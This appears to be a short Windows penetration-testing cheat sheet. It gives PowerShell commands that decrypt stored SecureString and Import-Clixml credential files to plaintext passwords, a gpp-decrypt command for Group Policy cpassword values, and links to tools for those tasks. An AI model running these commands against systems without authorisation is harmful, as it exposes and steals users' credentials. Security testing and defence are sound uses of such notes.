Windows

Decrypt stored secure credential

$pw = Get-Content .\<file> | ConvertTo-SecureString
$bstr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($pw)
$UnsecurePassword = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($bstr)

or:

powershell (Import-Clixml cred.xml).GetNetworkCredential().Password

Decrypt GPP CPassword

gpp-decrypt <crypted pass>

• https://github.com/BustedSec/gpp-decrypt

• https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1